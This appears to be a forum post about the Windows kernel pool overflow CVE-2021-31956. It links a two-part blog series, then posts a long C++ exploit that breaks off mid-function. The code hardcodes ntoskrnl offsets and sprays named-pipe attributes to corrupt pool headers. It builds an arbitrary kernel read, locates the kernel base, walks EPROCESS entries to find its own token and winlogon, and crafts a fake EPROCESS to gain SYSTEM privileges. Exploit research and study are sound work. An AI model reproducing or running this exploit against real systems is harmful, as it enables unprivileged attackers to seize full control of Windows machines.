Пожалуйста, обратите внимание, что пользователь заблокирован
В этой серии статей разжевывается техника эксплуатации переполнения пула на примере CVE-2021-31956.
Windows Kernel Pool Exploitation CVE-2021-31956 - Part 1
This blog post is about a Windows Kernel Paged Pool Overflow going by the identifier CVE-2021-31956 and how to exploit it from a Low Integrity point of view. We don’t cover any novel exploitation techniques, but if you are curious about a Kernel Heap Overflow and how an exploit and all the...
3sjay.github.io
Windows Kernel Pool Exploitation CVE-2021-31956 - Part 2
Hi traveler, welcome to the second and final blog post in this series. This time, we’re going to move on where we left off, and make this controlled pool overflow a success and eventually get a SYSTEM shell. Get yourself your favorite beverage and let’s get started!
3sjay.github.io
C++:
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996) // allow strncpy...
// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
// https://www.pixiepointsecurity.com/blog/nday-cve-2020-17087.html
//
/**
* NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 799bb250b1ca24825186bf91f91756cd
**/
#define NPFS_NPFSDCREATE_OFFSET 0xb540
#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7050
#define NT_ALLOCATEPOOLWITHTAG_OFFSET 0x009b2030
#define NT_POOLQUOTACOOKIE_OFFSET 0x00cfb9d0
#define NT_RTLPHPHEAPGLOBALS_OFFSET 0x00c1dcc0;
#define NT_PSINITIALSYSTEMPROCESS_OFFSET 0x00cfb420
// +0x5a8 ImageFileName : [15] UChar
#define EPROCESS_IMAGEFILENAME_OFFSET 0x5a8
// +0x448 ActiveProcessLinks : _LIST_ENTRY
#define EPROCESS_ACTIVEPROCESSLINKS_OFFSET 0x448
// +0x4b8 Token : _EX_FAST_REF
#define EPROCESS_TOKEN_OFFSET 0x4b8
// +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
#define EPROCESS_QUOTABLOCK_OFFSET 0x568
#define FAKE_EPROCESS_SIZE 0x1000 //0x540
#define FAKE_EPROCESS_OFFSET 0x50
#define STATUS_INVALID_EA_NAME ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR ((NTSTATUS)0xC0000053L)
#define MAX_EA_NAME_LEN 255
#define ROOT_PIPE_ATTRIBUTE_OFFSET 0x140
#define ROOT_PIPE_QUEUE_ENTRY_OFFSET 0x48
#define FILE_OBJECT_OFFSET 0x30
#define ATTRIBUTE_NAME "Z"
#define ATTRIBUTE_NAME_LEN sizeof(ATTRIBUTE_NAME)
#define DUMB_ATTRIBUTE_NAME "DUMB1"
#define DUMB_ATTRIBUTE_NAME_LEN sizeof(DUMB_ATTRIBUTE_NAME)
#define DUMB_ATTRIBUTE_NAME2 "DUMB2"
#define DUMB_ATTRIBUTE_NAME2_LEN sizeof(DUMB_ATTRIBUTE_NAME2)
#define LEN_OF_PIPE_ATTRIBUTE_STRUCT 0x28
#define LEN_OF_PIPE_QUEUE_ENTRY_STRUCT 0x30
#define POOL_HEADER_SIZE 0x10
typedef struct pipe_queue_entry_sub {
UINT64 unk;
UINT64 unk1;
UINT64 unk2;
UINT64 data_ptr;
}pipe_queue_entry_sub_t;
typedef enum spray_type {
SPRAY_PIPE_QUEUE_ENTRY,
SPRAY_PIPE_ATTRIBUTE
} spray_type_t;
typedef struct pipe_pair {
HANDLE write;
HANDLE read;
} pipe_pair_t;
typedef struct pipe_spray {
size_t nb;
size_t bufsize;
char* data_buf;
spray_type_t type;
pipe_pair_t pipes[1];
} pipe_spray_t, * ppipe_spray_t;
typedef struct pipe_attribute {
LIST_ENTRY list;
char* AttributeName;
ULONGLONG ValueSize;
char* AttributeValue;
char data[0];
} pipe_attribute_t;
typedef
VOID
(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);
typedef NTSTATUS(WINAPI* NtFsControlFile_t)(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG FsControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
NtFsControlFile_t NtFsControlFile = NULL;
// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length
);
typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
BOOLEAN ReturnSingleEntry,
PVOID EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan
);
#define EA_NAME "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME3 "ac"
#define EA_NAME_LENGTH (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)
#define EA_NAME_LENGTH3 (sizeof(EA_NAME3) - 1)
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
BYTE EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
typedef struct xploit_s {
pipe_attribute_t* fake_pipe_attribute;
size_t ghost_idx;
pipe_spray_t* ghosts;
ULONGLONG leak_root_attribute;
ULONGLONG leak_root_queue;
ULONGLONG leak_attribute_name;
ULONGLONG kernel_base;
ULONGLONG ExpPoolQuotaCookie;
ULONGLONG self_eprocess;
ULONGLONG self_token;
ULONGLONG winlogon_pid;
ULONGLONG fake_eprocess;
ULONGLONG ghost_chunk_offset;
ULONGLONG ghost_chunk_size;
ULONGLONG ghost_chunk;
ppipe_spray_t respray;
ppipe_spray_t final_write;
ppipe_spray_t rewrite;
ppipe_spray_t final_write2;
ppipe_spray_t lookaside1;
ppipe_spray_t lookaside2;
} xploit_t;
HANDLE hFile = NULL;
char attribute[0x1000];
int prepare_pipe(size_t bufsize, pipe_pair_t* pipe_pair)
{
BOOL res = FALSE;
// Write the data in user space buffer
// Creating the pipe to kernel space
res = CreatePipe(
&pipe_pair->read,
&pipe_pair->write,
NULL,
bufsize);
if (res == FALSE)
{
printf("[!] Failed creating Pipe\r\n");
return 0;
}
return 1;
}
pipe_spray_t* prepare_pipes(size_t nb, size_t size, char* data)
{
pipe_spray_t* pipe_spray = (pipe_spray_t*)malloc(sizeof(pipe_spray_t) + (nb * sizeof(pipe_pair_t)));
char* data_buf = (char*)malloc(size + 1);
if (!data_buf) {
fprintf(stderr, "[-] Failed to alloc data_buf of size %d in prepare_pipes()\n", size);
exit(0);
}
if (!pipe_spray)
{
fprintf(stderr, "[-] Failed to alloc pipe spray !\n");
exit(0);
}
size_t pipe_size;
memcpy(data_buf, data, size);
data_buf[size] = 0;
pipe_spray->data_buf = data_buf;
pipe_spray->nb = nb;
pipe_spray->bufsize = size - 0x38;
/* Should be big enough to avoid write lock */
pipe_size = 0x10000;
if (!pipe_spray)
{
fprintf(stderr, "[-] Failed to alloc pipe spray !\n");
exit(0);
}
for (size_t i = 0; i < pipe_spray->nb; i++)
{
if (!prepare_pipe(pipe_size, &pipe_spray->pipes[i]))
{
fprintf(stderr, "[-] Failed to alloc one pipe !\n");
exit(0);
}
}
return pipe_spray;
}
/**
* Create a pipe attribute on target_pipe.
* The allocation will be of size (size + 0x30)
*
**/
int set_pipe_attribute(pipe_pair_t* target_pipe, char* data, size_t size)
{
IO_STATUS_BLOCK status;
char output[0x100];
memset(output, 0x42, 0xff);
NtFsControlFile(target_pipe->write,
NULL,
NULL,
NULL,
&status,
0x11003C, //0x11002C for arg of set attribute is 2
data,
size,
output,
sizeof(output)
);
return 1;
}
/**
* Create a pipe attribute on target_pipe.
* The allocation will be of size (size + 0x30)
*
**/
int get_pipe_attribute(pipe_pair_t* target_pipe, char* out, size_t size)
{
IO_STATUS_BLOCK status;
NTSTATUS st;
char input[ATTRIBUTE_NAME_LEN] = ATTRIBUTE_NAME;
st = NtFsControlFile(target_pipe->write,
NULL,
NULL,
NULL,
&status,
0x110038,
input,
ATTRIBUTE_NAME_LEN,
out,
size
);
if (!NT_SUCCESS(st)) {
fprintf(stderr, "[-]NtFsControlFile failed !");
return 0;
}
return 1;
}
int spray_pipes(pipe_spray_t* pipe_spray)
{
for (size_t i = 0; i < pipe_spray->nb; i++)
{
if (!set_pipe_attribute(&pipe_spray->pipes[i], pipe_spray->data_buf, pipe_spray->bufsize))
{
fprintf(stderr, "[-] Failed to set pipe attribute at index %d !\n", i);
return 0;
}
}
return 1;
}
void query_extended_attributes(NtQueryEaFile_t NtQueryEaFile) {
// ULONG queryBufferSize = 0x300 - 0xb3 + 1; // this is the value of the out_buf_len used within the kernel code
ULONG queryBufferSize = 0x143; // 0x200 - 0xdb + 0x34 + 0x10 + 1 - (6*3) - 0x1b - 6 + 8 + 4; // this is the value of the out_buf_len used within the kernel code -> 0x126
printf("[*] queryBufferSize: %p\n", queryBufferSize);
PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
if (!queryBuffer) {
printf("Memory allocation error\n");
return;
}
ULONG eaBufferSize = 9 + EA_NAME_LENGTH;
PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
PFILE_GET_EA_INFORMATION file_get_ea_inf3 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
file_get_ea_inf1->NextEntryOffset = eaBufferSize;
file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;
file_get_ea_inf2->NextEntryOffset = eaBufferSize;
file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH2;
file_get_ea_inf3->NextEntryOffset = 0;
file_get_ea_inf3->EaNameLength = EA_NAME_LENGTH3;
memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
memcpy(file_get_ea_inf3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
char* buf = (char*)malloc(eaBufferSize * 3);
memcpy(buf, file_get_ea_inf1, eaBufferSize);
memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);
memcpy(buf + (eaBufferSize*2), file_get_ea_inf3, eaBufferSize);
ULONG eaIndex = 0;
/* END TESTS */
IO_STATUS_BLOCK ioStatus;
NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*3, &eaIndex, TRUE);
//NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);
if (status != STATUS_SUCCESS) {
printf("NtQueryEaFile error: %08x\n", status);
free(queryBuffer);
return;
}
printf("Extended attributes queried successfully\n");
/*
PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
do {
printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);
if (eaEntry->NextEntryOffset == 0)
break;
eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
} while (TRUE);
*/
free(queryBuffer);
}
BOOL set_extended_attributes(NtSetEaFile_t NtSetEaFile) {
// Set extended attribute
CHAR eaValue1[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
CHAR eaValue2[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFGGHHHHIIIIJJAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
CHAR eaValue3[] = "TABCD"; // next header is starting to be overwritten after the `T` (eaValue3[1:])
// the overflow data
// Set the pool type to the same pooltype with aligned chunk set (| 4)
*((unsigned char*)eaValue3 + 1) = 0x120 / 0x10; // previous size - we use 0x120 (from debugging session)
*((unsigned char*)eaValue3 + 1 + 1) = 0; // pool index
*((unsigned char*)eaValue3 + 1 + 2) = 0; // block size
*((unsigned char*)eaValue3 + 1 + 3) = 0 | 4; // pool type
ULONG eaValue1Length = sizeof(eaValue1);
ULONG eaValue2Length = sizeof(eaValue2);
ULONG eaValue3Length = sizeof(eaValue3) - 1; // `-1` gets rid of the trailing null byte
ULONG eaBufferSize1 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue1Length;
ULONG eaBufferSize2 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue2Length;
ULONG eaBufferSize3 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue3Length;
PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize1);
PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize2);
PFILE_FULL_EA_INFORMATION eaBuffer3 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize3);
if (!eaBuffer1 || !eaBuffer2|| !eaBuffer3) {
printf("Memory allocation error\n");
CloseHandle(hFile);
return 0;
}
eaBuffer1->NextEntryOffset = eaBufferSize1;
eaBuffer1->Flags = 0x00;
eaBuffer1->EaNameLength = EA_NAME_LENGTH;
eaBuffer1->EaValueLength = eaValue1Length;
memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue1, eaValue1Length);
IO_STATUS_BLOCK ioStatus;
//NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);
printf("[*] eaBuffer1->NextEntryOffset: %p\n", eaBuffer1->NextEntryOffset);
printf("[*] eaBuffer1->EaNameLength : %p\n", eaBuffer1->EaNameLength);
printf("[*] eaBuffer1->EaValueLength : %p\n", eaBuffer1->EaValueLength);
// second EA
eaBuffer2->NextEntryOffset = eaBufferSize2;
eaBuffer2->Flags = 0x00;
eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
eaBuffer2->EaValueLength = eaValue2Length;
memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValue2Length);
printf("[*] eaBuffer2->NextEntryOffset: %p\n", eaBuffer2->NextEntryOffset);
printf("[*] eaBuffer2->EaNameLength : %p\n", eaBuffer2->EaNameLength);
printf("[*] eaBuffer2->EaValueLength : %p\n", eaBuffer2->EaValueLength);
// third EA
eaBuffer3->NextEntryOffset = 0;
eaBuffer3->Flags = 0x00;
eaBuffer3->EaNameLength = EA_NAME_LENGTH3;
eaBuffer3->EaValueLength = eaValue3Length;
memcpy(eaBuffer3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
memcpy(eaBuffer3->EaName + EA_NAME_LENGTH3 + 1, eaValue3, eaValue3Length);
printf("[*] eaBuffer3->NextEntryOffset: %p\n", eaBuffer3->NextEntryOffset);
printf("[*] eaBuffer3->EaNameLength : %p\n", eaBuffer3->EaNameLength);
printf("[*] eaBuffer3->EaValueLength : %p\n", eaBuffer3->EaValueLength);
char* buf = (char*)malloc(eaBufferSize1 + eaBufferSize2 + eaBufferSize3);
memcpy(buf, eaBuffer1, eaBufferSize1);
memcpy(buf + eaBufferSize1, eaBuffer2, eaBufferSize2);
memcpy(buf + (eaBufferSize1 + eaBufferSize2), eaBuffer3, eaBufferSize3);
NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize1+eaBufferSize2+eaBufferSize3);
if (status != STATUS_SUCCESS) {
printf("NtSetEaFile error: %08x\n", status);
free(buf);
free(eaBuffer1);
free(eaBuffer2);
CloseHandle(hFile);
return 0;
}
printf("Extended attribute set successfully\n");
return 1;
}
int read_pipes(pipe_spray_t* pipe_spray, char* leak)
{
char buf[0x10000] = { 0 };
for (size_t i = 0; i < pipe_spray->nb; i++)
{
if (!get_pipe_attribute(&pipe_spray->pipes[i], buf, pipe_spray->bufsize))
{
fprintf(stderr, "[-] Failed to get pipe attribute !");
exit(0);
}
if (memcmp(pipe_spray->data_buf + ATTRIBUTE_NAME_LEN, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN)))
{
//hexdump(pipe_spray->data_buf, pipe_spray->bufsize);
printf("[+] get_pipe_attribute -> One of the buf returned a different input !\n");
//hexdump(buf, pipe_spray->bufsize);
memcpy(leak, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN));
return i;
}
}
return -1;
}
void get_overflown_pipe_attr(ppipe_spray_t pipe_spray) {
char* buf = (char*)malloc(0x100);
for (size_t i = 0; i < pipe_spray->nb; i++)
{
if (i == 0x266) continue; // ignore our reallocated object
memset(buf, 0x00, 0x100);
if (!get_pipe_attribute(&pipe_spray->pipes[i], buf, 0x100))
{
fprintf(stderr, "[-] Failed to get pipe attribute at index %d !\n", i);
continue;
}
printf("pipe[%d] => %s\n", i, buf);
}
}
int close_pipe(pipe_pair_t* pipe_pair)
{
if (!CloseHandle(pipe_pair->write))
{
//fprintf(stderr, "[-] Failed to close write pipe !\n");
return 0;
}
if (!CloseHandle(pipe_pair->read))
{
fprintf(stderr, "[-] Failed to close read pipe !\n");
return 0;
}
return 1;
}
void free_pipes(pipe_spray_t* pipe_spray)
{
for (size_t i = 0; i < pipe_spray->nb; i++)
{
close_pipe(&pipe_spray->pipes[i]);
}
free(pipe_spray->data_buf);
free(pipe_spray);
}
void free_third_pipes(pipe_spray_t* pipe_spray, int start)
{
for (size_t i = start; i < pipe_spray->nb; i += 3)
{
close_pipe(&pipe_spray->pipes[i]);
}
}
int pp_get_leak(xploit_t *xploit, pipe_spray_t* respray)
{
char leak[0x1000] = { 0 };
size_t targeted_vuln_size = 0x143;
size_t backward_step = targeted_vuln_size - ((LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN + 0xf) & (~0xF));
size_t leak_offset = targeted_vuln_size // xploit->targeted_vuln_size
- backward_step
- LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN;
//LOG_DEBUG("Leak offset is 0x%X", xploit->leak_offset);
// leak the data contained in ghost chunk
int leaking_pipe_idx = read_pipes(respray, leak);
if (leaking_pipe_idx == -1)
{
fprintf(stderr, "[-] Reading pipes found no leak :(\n");
return -1;
}
printf("[+] Pipe %d of respray leaked data !\n", leaking_pipe_idx);
// leak pipe attribute structure !
xploit->leak_root_attribute = *(ULONGLONG*)((char*)leak + leak_offset + 0x10); // list.next
xploit->leak_attribute_name = *(ULONGLONG*)((char*)leak + leak_offset + 0x20); // AttributeName
// 0x10 is POOL_HEADER
xploit->ghost_chunk = xploit->leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE;
printf("[+] leak_root_attribute ptr is 0x%llX\n", xploit->leak_root_attribute);
printf("[+] ghost_chunk ptr is 0x%llX\n", xploit->ghost_chunk);
return leaking_pipe_idx;
}
void pp_setup_ghost_overwrite(pipe_attribute_t* fake_pipe_attribute, char* ghost_overwrite_buf)
{
pipe_attribute_t* overwritten_pipe_attribute;
// The pipe attribute overwritten in the ghost chunk
memcpy(ghost_overwrite_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
overwritten_pipe_attribute = (pipe_attribute_t*)((char*)ghost_overwrite_buf + 0x8 + POOL_HEADER_SIZE); // 0x8 -> ghost_chunk_offset
// make point the next attribute in userland
overwritten_pipe_attribute->list.Flink = (LIST_ENTRY*)fake_pipe_attribute;
//overwritten_pipe_attribute->list.Flink = (LIST_ENTRY*)0x4141414142424242;
printf("[+] fake_pipe_attribute: %p\n", fake_pipe_attribute);
// dummy value, must fix this before exiting to avoid crash
overwritten_pipe_attribute->list.Blink = (LIST_ENTRY*)0xDEADBEEFCAFEB00B;
// Set the attrbiute name to a dumb value se we nerver find it when we try to read and attribute from here
// So it will always go the next attribute which points in userland !
overwritten_pipe_attribute->AttributeName = (char*)DUMB_ATTRIBUTE_NAME;
overwritten_pipe_attribute->ValueSize = 0x1;
overwritten_pipe_attribute->AttributeValue = (char*)DUMB_ATTRIBUTE_NAME;
}
void pp_exploit_arbitrary_read(xploit_t* xploit, uintptr_t where, char* out, size_t size)
{
char arb_read[0x1000];
size_t ask_size;
memset(arb_read, 0x48, sizeof(arb_read));
ask_size = size;
// If size is <= 8, it doesn't use the pointer
if (ask_size <= 8)
ask_size = 9;
// I need a temporary buffer and don't want to code a loop, so max it to 0x1000
if (ask_size >= 0x1000)
ask_size = 0xFFF;
xploit->fake_pipe_attribute->ValueSize = ask_size;
xploit->fake_pipe_attribute->AttributeValue = (char*)where;
// use a temporary buffer to avoid overflowing in our program
if (!get_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, 0x1000))
{
fprintf(stderr, "[-] Failed to set pipe attribute !");
exit(0);
}
memcpy(out, arb_read, size);
//printf("[*] Seemingly successful read data...\n");
}
uintptr_t pp_find_file_object(xploit_t* xploit)
{
uintptr_t file_object_ptr;
// FsContext2 structure of NPFS. Find the pointer on the file object in the structure
file_object_ptr = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET;
xploit->leak_root_queue = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + ROOT_PIPE_QUEUE_ENTRY_OFFSET;
printf("[+] leak_root_queue is : 0x%llX\n", xploit->leak_root_queue);
return file_object_ptr;
}
BOOL find_kernel_base(xploit_t* xploit)
{
uintptr_t file_object_ptr = 0;
uintptr_t file_object;
uintptr_t device_object;
uintptr_t driver_object;
uintptr_t NpFsdCreate;
file_object_ptr = pp_find_file_object(xploit);
printf("[+] File object ptr is : %p\n", file_object_ptr);
// Get the leak of ntoskrnl and npfs
pp_exploit_arbitrary_read(xploit, file_object_ptr, (char*)&file_object, 0x8);
printf("[+] File object is : 0x%llx\n", file_object);
pp_exploit_arbitrary_read(xploit, file_object + 8, (char*)&device_object, 0x8);
printf("[+] Device object is : 0x%llx\n", device_object);
pp_exploit_arbitrary_read(xploit, device_object + 8, (char*)&driver_object, 0x8);
printf("[+] Driver object is : 0x%llx\n", driver_object);
pp_exploit_arbitrary_read(xploit, driver_object + 0x70, (char*)&NpFsdCreate, 0x8);
printf("[+] Major function is : 0x%llx\n", NpFsdCreate);
uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;
uintptr_t ExAllocatePoolWithTag;
pp_exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char*)&ExAllocatePoolWithTag, 0x8);
printf("[+] ExAllocatePoolWithTag is : 0x%llx\n", ExAllocatePoolWithTag);
xploit->kernel_base = ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;
if ((xploit->kernel_base & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf("[-] Failed to retrieve kernel base....\n");
return 0;
}
printf("[+] Kernel base: %p\n", xploit->kernel_base);
return 1;
}
/**
* This function walks the process list and finds the EPROCESS of the current process.
* It also searches for the address of the winlogon process' PID, because we can't do that in
* userland when we are in low privilege.
**/
int find_self_eprocess(xploit_t* xploit)
{
uintptr_t PsInitialSystemProcess;
char winlogon[] = "winlogon.exe";
size_t winlogon_size = strlen(winlogon);
char tmp[0x100];
memset(&tmp, 0x00, 0x100);
pp_exploit_arbitrary_read(xploit, xploit->kernel_base + NT_PSINITIALSYSTEMPROCESS_OFFSET, (char*)&PsInitialSystemProcess, 0x8);
printf("[+] PsInitialSystemProcess is : 0x%llx\n", PsInitialSystemProcess);
DWORD self_pid = GetCurrentProcessId();
printf("[*] Looking for process with pid %d...\n", self_pid);
uintptr_t current_process_list = PsInitialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
uintptr_t current_pid = 0;
do
{
pp_exploit_arbitrary_read(xploit, current_process_list, (char*)¤t_process_list, 0x8);
// printf("current_process_list is : 0x%llX\n", current_process_list);
pp_exploit_arbitrary_read(xploit, current_process_list - 8, (char*)¤t_pid, 0x8);
// printf("current_pid is : %d\n", current_pid);
if (current_pid == self_pid)
{
xploit->self_eprocess = current_process_list - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
printf("[+] Found self_eprocess at 0x%llX !\n", xploit->self_eprocess);
}
// read process name, try to find the winlogon processus too
pp_exploit_arbitrary_read(xploit, current_process_list - EPROCESS_ACTIVEPROCESSLINKS_OFFSET + EPROCESS_IMAGEFILENAME_OFFSET, tmp, winlogon_size);
if (strcmp(winlogon, tmp) == 0)
{
xploit->winlogon_pid = current_pid;
printf("[+] Found winlogon pid at %d !\n", xploit->winlogon_pid);
}
if (xploit->self_eprocess && xploit->winlogon_pid)
return 1;
} while (current_process_list != PsInitialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS_OFFSET);
fprintf(stderr, "[-] Failed to find self eprocess !\n");
return 0;
}
/*
Here we craft the fake EPROCESS structure
From https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Win10/src/CVE-2017-6008_Win10_Exploit.cpp
*/
void initFakeEprocess(PVOID addr, UINT64 addr_to_decrement)
{
printf("[*] Decrementing : %p\n", addr_to_decrement);
for (int i = 0x00; i < FAKE_EPROCESS_SIZE; i += 8) {
memset((PVOID)((char*)addr + i), 0x41 + (i / 8), 8);
}
//memset((PVOID)addr, 0x48, FAKE_EPROCESS_SIZE);
addr = (PVOID)((DWORD64)addr + FAKE_EPROCESS_OFFSET);
DWORD64 save = (DWORD64)addr;
DWORD64 temp = save + 4;
DWORD64 QuotaValues = 0xAAAAAAAAAAAAAcfc;
DWORD64 QuotaValues2 = 0xAAAAAAAAAAA255dc;
memset((char*)addr - 0x40, 0xA, 0x40);
memset((char*)addr - 0x18, 0xB, 0x1);
memset(addr, 0x3, 1);
/*
// temp = (DWORD64)((char *)pTokenObject + 0x48);
temp = (DWORD64)((char*)addr_to_decrement);
memcpy((char*)addr + 0x410, &temp, sizeof(DWORD64));
for (int i = 0xd8; i < 0xf0; i++)
{
// 0xd4 is likely the offset into EPROCESS.QuotaBlock which changed
// 0: kd> dt nt!_EPROCESS QuotaBlock
// +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
memset((char*)addr + i, 2 + (i - 0xd4), 1);
}*/
/// TEST
*(UINT64*)((char*)addr + 0x568) = addr_to_decrement; // 0x568 _EPROCESS.QuotaBlock Offset
//*(UINT64*)((char*)addr + FAKE_EPROCESS_SIZE + 0x568) = token_addr + 0x48;//0x48 Enabled
/// END TEST
// precise values are need here, but we can't put any 0x0000 in the structure or it won't be copied
// in kernel memory
memcpy((char*)addr + 0xc0, &QuotaValues, 4);
memcpy((char*)addr + 0xc4, &QuotaValues2, 4);
memcpy((char*)addr + 0xc8, &QuotaValues, 4);
memcpy((char*)addr + 0xcc, &QuotaValues2, 4);
}
int write_pipe(pipe_pair_t* pipe_pair, char* data, size_t bufsize)
{
BOOL res = FALSE;
DWORD resultLength = 0;
res = WriteFile(
pipe_pair->write,
data,
bufsize,
&resultLength,
NULL);
if (res == FALSE)
{
printf("[-] Failed writing to pipe with error %d !\n", GetLastError());
return 0;
}
return 1;
}
void pp_alloc_fake_eprocess(xploit_t* xploit, char* fake_eprocess_buf)
{
uintptr_t fake_eprocess_queue_entry;
// The list is currently
// ROOT -> GHOST -> FAKE -> 0xDEADDEADCAFE0000 (next chain)
// so fix it to have
// ROOT -> GHOST -> FAKE -> ROOT (next chain)
// because the list is walked when setting a new attribute
// xploit->fake_pipe_attribute->list.Flink = (struct _LIST_ENTRY *)xploit->leak_root_attribute;
// The pipe attribute list is corrupted, use the pipe queue entry to store arbitrary data in the kernel
write_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], fake_eprocess_buf + DUMB_ATTRIBUTE_NAME2_LEN, FAKE_EPROCESS_SIZE * 2);
// We can read prev or next of the root to find the entry that contains the arbitrary data
pp_exploit_arbitrary_read(xploit, xploit->leak_root_queue, (char*)&fake_eprocess_queue_entry, 0x8);
